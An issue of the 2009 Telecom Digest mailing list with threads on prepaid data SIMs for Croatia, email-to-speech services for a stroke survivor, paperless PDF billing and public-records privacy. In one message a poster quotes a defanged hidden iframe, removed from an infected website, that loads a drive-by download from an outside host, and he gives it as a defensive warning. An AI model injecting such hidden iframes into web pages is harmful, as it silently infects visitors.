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Message Digest
Volume 28 : Issue 266 : "text" Format
Messages in this Issue:
Q.: Prepaid Data SIM for GSM/GPRS/EDGE/UMTS/HSPA Croatia?
Re: Mobile email-to-speech gateways solutions for mild stroke victims?
Re: Mobile email-to-speech gateways solutions for mild stroke victims?
Re: What if People Don't Take the Bait to Go Paperless?
Re: What if People Don't Take the Bait to Go Paperless?
Re: What if People Don't Take the Bait to Go Paperless?
Re: Project 'Gaydar': At MIT, an experiment identifies which stude...
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Date: Sun, 27 Sep 2009 03:09:53 -0400
From: tlvp <mPiOsUcB.EtLlLvEp@att.net>
To: redacted@invalid.telecom.csail.mit.edu
Subject: Q.: Prepaid Data SIM for GSM/GPRS/EDGE/UMTS/HSPA Croatia?
Message-ID: <op.u0wl6ry9o63xbg@acer250.gateway.2wire.net>
I'd welcome pointers to cellular providers in the former Yugoslavia
offering prepaid data SIMs for use with a netbook and USB-based Sierra
Wireless GSM/GPRS/EDGE/UMTS/HSPA data modem.
Territory to be covered includes not only Croatia's Adriatic coast
(Dubrovnik through Rijeka and Pula), but also inland into Slovenia
(Bled, Ljubljana).
Duration of use: not quite 3 weeks. (For a couple of months from now.)
Best would be one provider covering all the areas mentioned. Of
course, I'll settle for next best, if that's more practical :-) .
And any advice whether I'd be better off with Sierra's 881U device, or
with their 885, will be welcome, too, as I've not bought either yet,
but have been leaning towards the 885 (more affordable on eBay than
the 881U).
Alternative data-modems, as well as sources for them, welcomed also.
TIA; and cheers, -- tlvp
Date: Sun, 27 Sep 2009 04:04:48 -0400
From: tlvp <mPiOsUcB.EtLlLvEp@att.net>
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: Mobile email-to-speech gateways solutions for mild stroke victims?
Message-ID: <op.u0woqagbo63xbg@acer250.gateway.2wire.net>
On Sun, 27 Sep 2009 02:47:47 -0400, ed <bernies@netaxs.com> wrote:
> Quoting telecom-owner@telecom-digest.org:
>
>> ***** Moderator's Note *****
>
> [snip]
>
>> The Peek Pronto has gotten mixed reviews:
>> http://reviews.cnet.com/cell-phones/peek-pronto/4505-6454_7-33567075.html
>> http://gizmodo.com/5197397/peek-pronto-lightning-review-simple-email-faster
>> http://review.zdnet.com/product/cell-phones/peek-pronto/33567075
>>
>> You can pay $16.67 per month if you use the quarterly plan, so that
>> adds up to $200/yr instead of $180 for yearly payments. For that, you
>> get email and text - but not IM - and the dubious pleasure of carrying
>> around yet-another-tech-toy.
>>
>> In any case, I'd be very uncomfortable recommending so small a
>> keyboard and/or device to someone recovering from a CVA: motion
>> impairments are often compounded by insensitivity-to-touch and
>> clumsiness, which would result in a lot of breakage. This device is
>> intended for hard-core text addicts who don't like to talk, not for
>> stroke victims.
>>
>> Bill Horne
>> Modeator
>
> Actually, the Peek Pronto's unlimited mobile email and SMS costs only
> $15/month if you pay $180/year upfront. Not bad if you're
> speech-impaired and can't talk. It works over T-Mobile's network. Not
> sure if it roams on AT&T, but at that low flat rate I doubt it
> (judging from T-Mobile's previous practice of dropping customers who
> roamed too much on AT&T's network.)
>
> As for the Peek keyboard being suitable for stroke victims, that
> depends. The Peek device has an excellent keyboard as far as layout
> and tactile feel, and it's larger than any Blackberry keyboard. Plus
> it's built like a tank. The proposed user in this case has
> successfully tapped out text on a virtual keyboard on modified
> Nintendo DS, so the Peek would be easier for him. Different strokes
> for different folks, I guess. <wince>
>
> My original question to the list remains unanswered: Do Telecom list
> members have any ideas for using Peek's email messaging to communicate
> with people who only have a POTS line and no computer? How about
> email-to-POTS speech translation? POTS speech-to-email? Do
> email-to-TTY/TDD Relay Service gateways exist? Other ideas?
>
> -Ed
I've encountered mention of landline operators in other countries
offering landline phones with SMS send/receive capabilities, but
I have not (alas!) filed away just who, or which countries.
Google to the rescue, perhaps? Cheers,
-- tlvp
--
Avant de repondre, jeter la poubelle, SVP
Date: Sun, 27 Sep 2009 10:37:39 -0500
From: Michael Grigoni <michael.grigoni@cybertheque.org>
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: Mobile email-to-speech gateways solutions for mild stroke victims?
Message-ID: <4ABF86C3.6090103@cybertheque.org>
ed wrote:
<snip>
> My original question to the list remains unanswered: Do Telecom list
> members have any ideas for using Peek's email messaging to communicate
> with people who only have a POTS line and no computer? How about
> email-to-POTS speech translation? POTS speech-to-email? Do
> email-to-TTY/TDD Relay Service gateways exist? Other ideas?
I just 'googled' this topic, e.g.: "sms to speech service" and "email
to speech service". Here is an example hit from the former:
MATERNA offers SMS capabilities to land line phones.(Company ...
MATERNA, a mobile solutions provider, has launched its SMS-to-Speech
service allowing mobile users to send an SMS to a conventional land
line. ...
I somehow thought that 'Google Voice' had something similar as well.
Anyway, there are probably lots of choices in this area, but I suppose
you would like some opinions from folks who have actually used them?
Michael
Date: Sun, 27 Sep 2009 10:05:17 -0800
From: John David Galt <jdg@diogenes.sacramento.ca.us>
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: What if People Don't Take the Bait to Go Paperless?
Message-ID: <h9o5vk$bga$1@blue.rahul.net>
Monty Solomon quotes the New York Times:
> Large companies would love to use paperless billing rather than the
> mail: it reduces their costs and at the same time allows chest
> thumping about being green. But offering their customers positive
> sweeteners hasn't been very effective. T-Mobile tried another tack: a
> stick instead of a carrot. What woe it brought upon itself, however,
> when it told customers it was time to switch or pay up.
AT&T doesn't yet charge, but it offers and encourages paperless
billing. However, about a year ago, I had to switch back -- because
AT&T's "paperless bills" are PDF files, and they began using a version
of Adobe newer than my computer can read. And I don't see why I
should upgrade.
Anyone who sends out files in proprietary formats to the public --
including owners of web sites -- should be using old versions, since
it's their job, and not each viewer's, to anticipate such problems.
Date: Sun, 27 Sep 2009 17:34:54 -0700
From: Thad Floryan <thad@thadlabs.com>
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: What if People Don't Take the Bait to Go Paperless?
Message-ID: <4AC004AE.70108@thadlabs.com>
On 9/27/2009 4:19 PM, John David Galt wrote:
> [...]
> AT&T doesn't yet charge, but it offers and encourages paperless
> billing. However, about a year ago, I had to switch back -- because
> AT&T's "paperless bills" are PDF files, and they began using a version
> of Adobe newer than my computer can read. And I don't see why I
> should upgrade.
EVERYTHING Adobe produces is subject to massive security exploits,
notably the PDF reader and ShockWave Player and browser plugins as I
wrote here earlier this year (and cited relevant pages) especially the
IFRAME exploits (which are the nastiest thing I've seen in nearly 50
years using computers). The IFRAME exploits even affect UNIX and Linux
systems, though not as seriously as Windows systems, unless one is
running a browser as root on UNIX or Linux.
IFRAME exploits require ZERO intervention on the part of the user; one
only has to visit an infected web page (and there are millions out
there) for the exploit to silently [activate] and auto-download files
and other nasties after it interrogates your browser for its version,
your OS type, and the plugins installed in your browser.
A simple example of what an IFRAME exploit looks like on an infected
web page is below; this is one I removed from a friend's web site and
I've removed a few "<" and ">" and inserted a few spaces so this
example cannot be clicked upon:
"... iframe src="http://hotslotpot. cn/in.cgi?income64"
width=1 height=1 style="visibility: hidden"></iframe ..."
The above exploit uses techniques similar to the Morris Internet
Worm of 1988 regarding buffer/stack overflow and code execution.
The best defense is to block ALL IFRAME's in your browser (or a
security-related plugin, such as NoScript for Firefox).
> Anyone who sends out files in proprietary formats to the public --
> including owners of web sites -- should be using old versions, since
> it's their job, and not each viewer's, to anticipate such problems.
A PDF is about the most universally accepted and recognized file
format for documentation portability with the exception of plain ASCII
text files. I use the Adobe Reader on my Windows systems and xpdf on
UNIX and Linux. The PDF file format is 100% publicly documented (as is
PostScript).
An update takes but a minute (if even that long) and there seem to be
and average of about 3 or 4 Adobe Reader updates a year. The PDF de
facto document standard is constantly evolving with new features and
it makes sense to remain current; nearly all documents from the
various state and national governments, military, IRS, NSA, etc etc
are in the PDF format.
***** Moderator's Note *****
I thought PDF files were Postscript: not so?
BTW, I think HTML is the most recognized file format.
Bill Horne
Moderator
Date: Sun, 27 Sep 2009 19:16:11 -0700
From: Thad Floryan <thad@thadlabs.com>
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: What if People Don't Take the Bait to Go Paperless?
Message-ID: <4AC01C6B.7080409@thadlabs.com>
On 9/27/2009 6:56 PM, Thad Floryan wrote:
> [...]
> A PDF is about the most universally accepted and recognized file
> format for documentation portability with the exception of plain ASCII
> text files. I use the Adobe Reader on my Windows systems and xpdf on
> UNIX and Linux. The PDF file format is 100% publicly documented (as is
> PostScript).
> [...]
> ***** Moderator's Note *****
>
> I thought PDF files were Postscript: not so?
Not so. :-)
That's why we have the "ps2pdf" program.
[Moderator snip]
Here's the "head" of a PDF (as would be interpreted by "file" on
a UNIX or Linux system):
%PDF-1.4
{everything following seems to be binary)
A "head" of a PS file:
%!PS-Adobe-3.0
%%Creator: Thad Floryan
%%DocumentNeededResources: font Helvetica
%%+ font Courier
%%Pages: 4
%%Orientation: Portrait
[...]
> BTW, I think HTML is the most recognized file format.
Heh! Actually, today, it may very well be, but it's not like
people are deliberately writing reports in HTML especially
given lack of standards' compliance (multiple HTML versions)
and browser incompatibilities. See, for example:
http://www.w3.org/
http://www.webstandards.org/action/acid3
http://acid3.acidtests.org/
I write both HTML and PostScript "native" and convert to PDF for
archival storage since PDF readers are ubiquitous. Try using, say,
the lynx browser on a "featureful" web page. :-)
Date: Sun, 27 Sep 2009 10:47:50 EDT
From: Wesrock@aol.com
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: Project 'Gaydar': At MIT, an experiment identifies which stude...
Message-ID: <c94.50b4ed66.37f0d516@aol.com>
In a message dated 9/25/2009 7:39:24 PM Central Daylight Time,
hancock4@bbs.cpcn.com writes:
> 4) Births, deaths, weddings: Often publicized in local newspapers,
> church newsletters, college alumni news notes. If you are a
> relative of the person (eg a niece of the decedant or a bridesmaid
> in the wedding) your name will appear, too. Same impact as above.
> If you die there are special websites that record that. Dead people
> do not have privacy rights. However, the living relatives of the
> decedant may also be listed and they may not want that.
There are websites maintained by the funeral homes as well as the
newspapers that generally show exactly what information appeared in
the public newspaper, and was provided by the releatives of the
deceased who placed the obituary in the paper. These provide the
information that the relatives provided. If you don't want such
information out there, don't have an obituary published in the
newspaper.
> 5) Real estate sales: Buying or selling property gets your name in
> the paper and thus on the web. In addition, real estate web pages
> track that information too.
These are by law public records.
> 7) Court, govt administrative activity: any civil or criminal court
> activity, even minor stuff, gets you out there. If you file an
> administrative action such as a proeprty tax appeal, it gets out
> there.
These, too, are by law public records.
Wes Leatherock
wesrock@aol.com
wleathus@yahoo.com
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End of The Telecom digest (7 messages)
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